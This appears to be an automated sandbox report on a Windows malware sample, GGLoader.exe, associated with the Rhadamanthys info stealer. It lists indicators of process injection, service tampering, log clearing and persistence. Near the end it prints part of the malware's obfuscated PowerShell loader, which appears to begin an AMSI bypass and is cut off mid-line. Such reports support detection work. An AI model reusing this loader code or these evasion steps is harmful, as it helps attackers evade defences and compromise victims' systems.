Analysis
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max time kernel
44s -
max time network
44s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
04-10-2024 17:05
Static task
static1
Behavioral task
behavioral1
Sample
GGLoader.exe
Resource
win10v2004-20240802-en
General
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Target
GGLoader.exe
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Size
19KB
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MD5
982e4ae4559538cfb529dfaff0507880
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SHA1
a3b0e3989d6e40792134286e40448004ebeda077
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SHA256
95a08f9fd8741d2b265a43143289af012ca24cee776609bc79337d63988246fd
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SHA512
35d23d332c0389b3d3e7086613e60d73c158a7dd408bc4320ccb10aba8c2755ea99bf0d484cd257d53d42a6fe95a9bab0c606e7c580039aa5334767a4096662f
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SSDEEP
384:/LVHmcPXblyCKGK9dnORWsK7PPZzcuIYZKJHtZW39cDpbJO:/hHHPbICKJEW7PPeQKy6db
Malware Config
Signatures
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Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
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Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
Processes:
LicSend.exepowershell.EXEdescription pid process target process PID 4900 created 3472 4900 LicSend.exe Explorer.EXE PID 4900 created 3472 4900 LicSend.exe Explorer.EXE PID 4900 created 3472 4900 LicSend.exe Explorer.EXE PID 4900 created 3472 4900 LicSend.exe Explorer.EXE PID 3376 created 612 3376 powershell.EXE winlogon.exe -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 8 2712 powershell.exe -
Processes:
powershell.exepowershell.EXEpowershell.EXEpowershell.exepid process 3064 powershell.exe 2884 powershell.EXE 3376 powershell.EXE 4612 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
Processes:
LicSend.exedescription ioc process File created C:\Windows\System32\drivers\etc\hosts LicSend.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
GGLoader.exeLicCheck.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation GGLoader.exe Key value queried \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation LicCheck.exe -
Executes dropped EXE 3 IoCs
Processes:
LicenseGet.exeLicCheck.exeLicSend.exepid process 3468 LicenseGet.exe 1352 LicCheck.exe 4900 LicSend.exe -
Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
Processes:
svchost.exedescription ioc process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
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Power Settings 1 TTPs 5 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
Processes:
powercfg.execmd.exepowercfg.exepowercfg.exepowercfg.exepid process 800 powercfg.exe 948 cmd.exe 3536 powercfg.exe 1416 powercfg.exe 4520 powercfg.exe -
Drops file in System32 directory 5 IoCs
Processes:
powershell.EXEpowershell.EXEsvchost.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Tasks\svcupdater svchost.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
LicSend.exepowershell.EXEdescription pid process target process PID 4900 set thread context of 456 4900 LicSend.exe dialer.exe PID 3376 set thread context of 3800 3376 powershell.EXE dllhost.exe -
Drops file in Program Files directory 1 IoCs
Processes:
LicSend.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe LicSend.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exepid process 2316 sc.exe 1392 sc.exe 4832 sc.exe 3168 sc.exe 4008 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
LicenseGet.exeLicCheck.exepowershell.EXEschtasks.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language LicenseGet.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language LicCheck.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.EXEpowershell.EXEdescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exeLicCheck.exeLicSend.exepowershell.exepowershell.exepowershell.EXEpowershell.EXEdllhost.exepid process 2712 powershell.exe 2712 powershell.exe 1252 powershell.exe 1252 powershell.exe 1352 LicCheck.exe 1352 LicCheck.exe 4900 LicSend.exe 4900 LicSend.exe 4612 powershell.exe 4612 powershell.exe 4900 LicSend.exe 4900 LicSend.exe 4900 LicSend.exe 4900 LicSend.exe 4900 LicSend.exe 4900 LicSend.exe 3064 powershell.exe 3064 powershell.exe 4900 LicSend.exe 4900 LicSend.exe 3376 powershell.EXE 3376 powershell.EXE 2884 powershell.EXE 3376 powershell.EXE 2884 powershell.EXE 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 1252 powershell.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 1252 powershell.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 1252 powershell.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe 3800 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
GGLoader.exepowershell.exepowershell.exepowershell.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exedescription pid process Token: SeDebugPrivilege 1260 GGLoader.exe Token: SeDebugPrivilege 2712 powershell.exe Token: SeDebugPrivilege 1252 powershell.exe Token: SeDebugPrivilege 4612 powershell.exe Token: SeShutdownPrivilege 3536 powercfg.exe Token: SeCreatePagefilePrivilege 3536 powercfg.exe Token: SeDebugPrivilege 3064 powershell.exe Token: SeShutdownPrivilege 1416 powercfg.exe Token: SeCreatePagefilePrivilege 1416 powercfg.exe Token: SeShutdownPrivilege 4520 powercfg.exe Token: SeCreatePagefilePrivilege 4520 powercfg.exe Token: SeShutdownPrivilege 800 powercfg.exe Token: SeCreatePagefilePrivilege 800 powercfg.exe Token: SeIncreaseQuotaPrivilege 3064 powershell.exe Token: SeSecurityPrivilege 3064 powershell.exe Token: SeTakeOwnershipPrivilege 3064 powershell.exe Token: SeLoadDriverPrivilege 3064 powershell.exe Token: SeSystemProfilePrivilege 3064 powershell.exe Token: SeSystemtimePrivilege 3064 powershell.exe Token: SeProfSingleProcessPrivilege 3064 powershell.exe Token: SeIncBasePriorityPrivilege 3064 powershell.exe Token: SeCreatePagefilePrivilege 3064 powershell.exe Token: SeBackupPrivilege 3064 powershell.exe Token: SeRestorePrivilege 3064 powershell.exe Token: SeShutdownPrivilege 3064 powershell.exe Token: SeDebugPrivilege 3064 powershell.exe Token: SeSystemEnvironmentPrivilege 3064 powershell.exe Token: SeRemoteShutdownPrivilege 3064 powershell.exe Token: SeUndockPrivilege 3064 powershell.exe Token: SeManageVolumePrivilege 3064 powershell.exe Token: 33 3064 powershell.exe Token: 34 3064 powershell.exe Token: 35 3064 powershell.exe Token: 36 3064 powershell.exe Token: SeIncreaseQuotaPrivilege 3064 powershell.exe Token: SeSecurityPrivilege 3064 powershell.exe Token: SeTakeOwnershipPrivilege 3064 powershell.exe Token: SeLoadDriverPrivilege 3064 powershell.exe Token: SeSystemProfilePrivilege 3064 powershell.exe Token: SeSystemtimePrivilege 3064 powershell.exe Token: SeProfSingleProcessPrivilege 3064 powershell.exe Token: SeIncBasePriorityPrivilege 3064 powershell.exe Token: SeCreatePagefilePrivilege 3064 powershell.exe Token: SeBackupPrivilege 3064 powershell.exe Token: SeRestorePrivilege 3064 powershell.exe Token: SeShutdownPrivilege 3064 powershell.exe Token: SeDebugPrivilege 3064 powershell.exe Token: SeSystemEnvironmentPrivilege 3064 powershell.exe Token: SeRemoteShutdownPrivilege 3064 powershell.exe Token: SeUndockPrivilege 3064 powershell.exe Token: SeManageVolumePrivilege 3064 powershell.exe Token: 33 3064 powershell.exe Token: 34 3064 powershell.exe Token: 35 3064 powershell.exe Token: 36 3064 powershell.exe Token: SeIncreaseQuotaPrivilege 3064 powershell.exe Token: SeSecurityPrivilege 3064 powershell.exe Token: SeTakeOwnershipPrivilege 3064 powershell.exe Token: SeLoadDriverPrivilege 3064 powershell.exe Token: SeSystemProfilePrivilege 3064 powershell.exe Token: SeSystemtimePrivilege 3064 powershell.exe Token: SeProfSingleProcessPrivilege 3064 powershell.exe Token: SeIncBasePriorityPrivilege 3064 powershell.exe Token: SeCreatePagefilePrivilege 3064 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
Conhost.exepid process 3016 Conhost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
GGLoader.exepowershell.execmd.execmd.exeLicSend.exepowershell.EXEdllhost.exedescription pid process target process PID 1260 wrote to memory of 2712 1260 GGLoader.exe powershell.exe PID 1260 wrote to memory of 2712 1260 GGLoader.exe powershell.exe PID 2712 wrote to memory of 1252 2712 powershell.exe powershell.exe PID 2712 wrote to memory of 1252 2712 powershell.exe powershell.exe PID 2712 wrote to memory of 3468 2712 powershell.exe LicenseGet.exe PID 2712 wrote to memory of 3468 2712 powershell.exe LicenseGet.exe PID 2712 wrote to memory of 3468 2712 powershell.exe LicenseGet.exe PID 2712 wrote to memory of 1352 2712 powershell.exe LicCheck.exe PID 2712 wrote to memory of 1352 2712 powershell.exe LicCheck.exe PID 2712 wrote to memory of 1352 2712 powershell.exe LicCheck.exe PID 2712 wrote to memory of 4900 2712 powershell.exe LicSend.exe PID 2712 wrote to memory of 4900 2712 powershell.exe LicSend.exe PID 392 wrote to memory of 1392 392 cmd.exe sc.exe PID 392 wrote to memory of 1392 392 cmd.exe sc.exe PID 948 wrote to memory of 3536 948 cmd.exe powercfg.exe PID 948 wrote to memory of 3536 948 cmd.exe powercfg.exe PID 948 wrote to memory of 1416 948 cmd.exe powercfg.exe PID 948 wrote to memory of 1416 948 cmd.exe powercfg.exe PID 392 wrote to memory of 4832 392 cmd.exe sc.exe PID 392 wrote to memory of 4832 392 cmd.exe sc.exe PID 948 wrote to memory of 4520 948 cmd.exe powercfg.exe PID 948 wrote to memory of 4520 948 cmd.exe powercfg.exe PID 392 wrote to memory of 3168 392 cmd.exe sc.exe PID 392 wrote to memory of 3168 392 cmd.exe sc.exe PID 392 wrote to memory of 4008 392 cmd.exe sc.exe PID 392 wrote to memory of 4008 392 cmd.exe sc.exe PID 948 wrote to memory of 800 948 cmd.exe powercfg.exe PID 948 wrote to memory of 800 948 cmd.exe powercfg.exe PID 392 wrote to memory of 2316 392 cmd.exe sc.exe PID 392 wrote to memory of 2316 392 cmd.exe sc.exe PID 392 wrote to memory of 5008 392 cmd.exe reg.exe PID 392 wrote to memory of 5008 392 cmd.exe reg.exe PID 392 wrote to memory of 4860 392 cmd.exe reg.exe PID 392 wrote to memory of 4860 392 cmd.exe reg.exe PID 392 wrote to memory of 2624 392 cmd.exe reg.exe PID 392 wrote to memory of 2624 392 cmd.exe reg.exe PID 392 wrote to memory of 2400 392 cmd.exe reg.exe PID 392 wrote to memory of 2400 392 cmd.exe reg.exe PID 392 wrote to memory of 4000 392 cmd.exe reg.exe PID 392 wrote to memory of 4000 392 cmd.exe reg.exe PID 4900 wrote to memory of 456 4900 LicSend.exe dialer.exe PID 3376 wrote to memory of 3800 3376 powershell.EXE dllhost.exe PID 3376 wrote to memory of 3800 3376 powershell.EXE dllhost.exe PID 3376 wrote to memory of 3800 3376 powershell.EXE dllhost.exe PID 3376 wrote to memory of 3800 3376 powershell.EXE dllhost.exe PID 3376 wrote to memory of 3800 3376 powershell.EXE dllhost.exe PID 3376 wrote to memory of 3800 3376 powershell.EXE dllhost.exe PID 3376 wrote to memory of 3800 3376 powershell.EXE dllhost.exe PID 3376 wrote to memory of 3800 3376 powershell.EXE dllhost.exe PID 3376 wrote to memory of 3800 3376 powershell.EXE dllhost.exe PID 3800 wrote to memory of 612 3800 dllhost.exe winlogon.exe PID 3800 wrote to memory of 676 3800 dllhost.exe lsass.exe PID 3800 wrote to memory of 956 3800 dllhost.exe svchost.exe PID 3800 wrote to memory of 60 3800 dllhost.exe dwm.exe PID 3800 wrote to memory of 408 3800 dllhost.exe svchost.exe PID 3800 wrote to memory of 1048 3800 dllhost.exe svchost.exe PID 3800 wrote to memory of 1108 3800 dllhost.exe svchost.exe PID 3800 wrote to memory of 1120 3800 dllhost.exe svchost.exe PID 3800 wrote to memory of 1168 3800 dllhost.exe svchost.exe PID 3800 wrote to memory of 1204 3800 dllhost.exe svchost.exe PID 3800 wrote to memory of 1268 3800 dllhost.exe svchost.exe PID 3800 wrote to memory of 1320 3800 dllhost.exe svchost.exe PID 3800 wrote to memory of 1364 3800 dllhost.exe svchost.exe PID 3800 wrote to memory of 1376 3800 dllhost.exe svchost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:612
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:60
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{be6fbeda-2ae9-4726-b303-56e007d1464c}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3800
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:676
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:956
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:408
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1048
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1108
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1120
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1168 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2888
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:QlodJzXbhczV{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$uIchVbiIhdacrF,[Parameter(Position=1)][Type]$PhOEcmhkTp)$CEVeLtXONqw=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+''+'e'+''+[Char](99)+'t'+[Char](101)+''+[Char](100)+'De'+'l'+'e'+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+''+'e'+''+[Char](109)+''+'o'+''+[Char](114)+'y'+[Char](77)+''+[Char](111)+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+'D'+''+'e'+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+'t'+[Char](101)+'T'+'y'+'p'+[Char](101)+'',''+[Char](67)+'l'+[Char](97)+''+'s'+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+'lic'+','+'S'+'e'+''+[Char](97)+'l'+[Char](101)+'d'+','+''+'A'+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+'C'+''+'l'+'ass'+[Char](44)+''+[Char](65)+''+'u'+'toC'+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$CEVeLtXONqw.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+'p'+[Char](101)+'ci'+'a'+'l'+[Char](78)+''+[Char](97)+'m'+'e'+''+[Char](44)+''+[Char](72)+''+'i'+'d'+'e'+''+[Char](66)+''+'y'+''+[Char](83)+''+'i'+''+'g'+''+[Char](44)+'P'+'u'+'b'+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$uIchVbiIhdacrF).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'t'+[Char](105)+'m'+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+'n'+''+'a'+''+[Char](103)+'e'+[Char](100)+'');$CEVeLtXONqw.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+'ke',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+'i'+[Char](99)+','+[Char](72)+''+[Char](105)+'deB'+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+','+'N'+'e'+[Char](119)+''+[Char](83)+'l'+'o'+''+'t'+','+[Char](86)+'i'+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'',$PhOEcmhkTp,$uIchVbiIhdacrF).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+'t'+''+[Char](105)+''+'m'+''+'e'+''+','+''+'M'+''+'a'+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $CEVeLtXONqw.CreateType();}$zwCPOWnbPHNhj=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+'t'+[Char](101)+''+'m'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+'cr'+[Char](111)+'s'+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+'W'+'i'+''+[Char](110)+'3'+[Char](50)+''+[Char](46)+''+[Char](85)+'n'+'s'+''+[Char](97)+'f'+[Char](101)+''+[Char](122)+''+'w'+''+[Char](67)+''+[Char](80)+''+'O'+'Wn'+'b'+''+'P'+''+[Char](72)+'N'+[Char](104)+'j');$pWMEMqJYEVTbbU=$zwCPOWnbPHNhj.GetMethod(''+[Char](112)+''+[Char](87)+''+'M'+'EM'+'q'+''+'J'+''+[Char](89)+''+'E'+''+[Char](86)+''+[Char](84)+'bb'+'U'+'',[Reflection.BindingFlags]'Pub'+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+'t'+'i'+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$PIlVJGJdjzEzKtFoHvM=QlodJzXbhczV @([String])([IntPtr]);$iRYrKAQVeAaAeQuFyPrnnT=QlodJzXbhczV @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$bXNzVTCLQbJ=$zwCPOWnbPHNhj.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'Mod'+'u'+''+'l'+'eH'+'a'+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object]('k'+[Char](101)+''+'r'+''+'n'+''+[Char](101)+'l3'+'2'+''+'.'+'d'+'l'+''+'l'+'')));$KLYfxddyQhHQMJ=$pWMEMqJYEVTbbU.Invoke($Null,@([Object]$bXNzVTCLQbJ,[Object](''+[Char](76)+''+[Char](111)+'ad'+[Char](76)+''+[Char](105)+'br'+[Char](97)+'r'+'y'+''+[Char](65)+'')));$faOvxInCzixgngEEX=$pWMEMqJYEVTbbU.Invoke($Null,@([Object]$bXNzVTCLQbJ,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+'u'+'a'+''+[Char](108)+''+'P'+''+[Char](114)+''+'o'+''+'t'+''+[Char](101)+''+'c'+''+[Char](116)+'')));$HeqbDgp=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KLYfxddyQhHQMJ,$PIlVJGJdjzEzKtFoHvM).Invoke('am'+[Char](115)+''+'i'+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$IuUaBXLrrKNKqLwGc=$pWMEMqJYEVTbbU.Invoke($N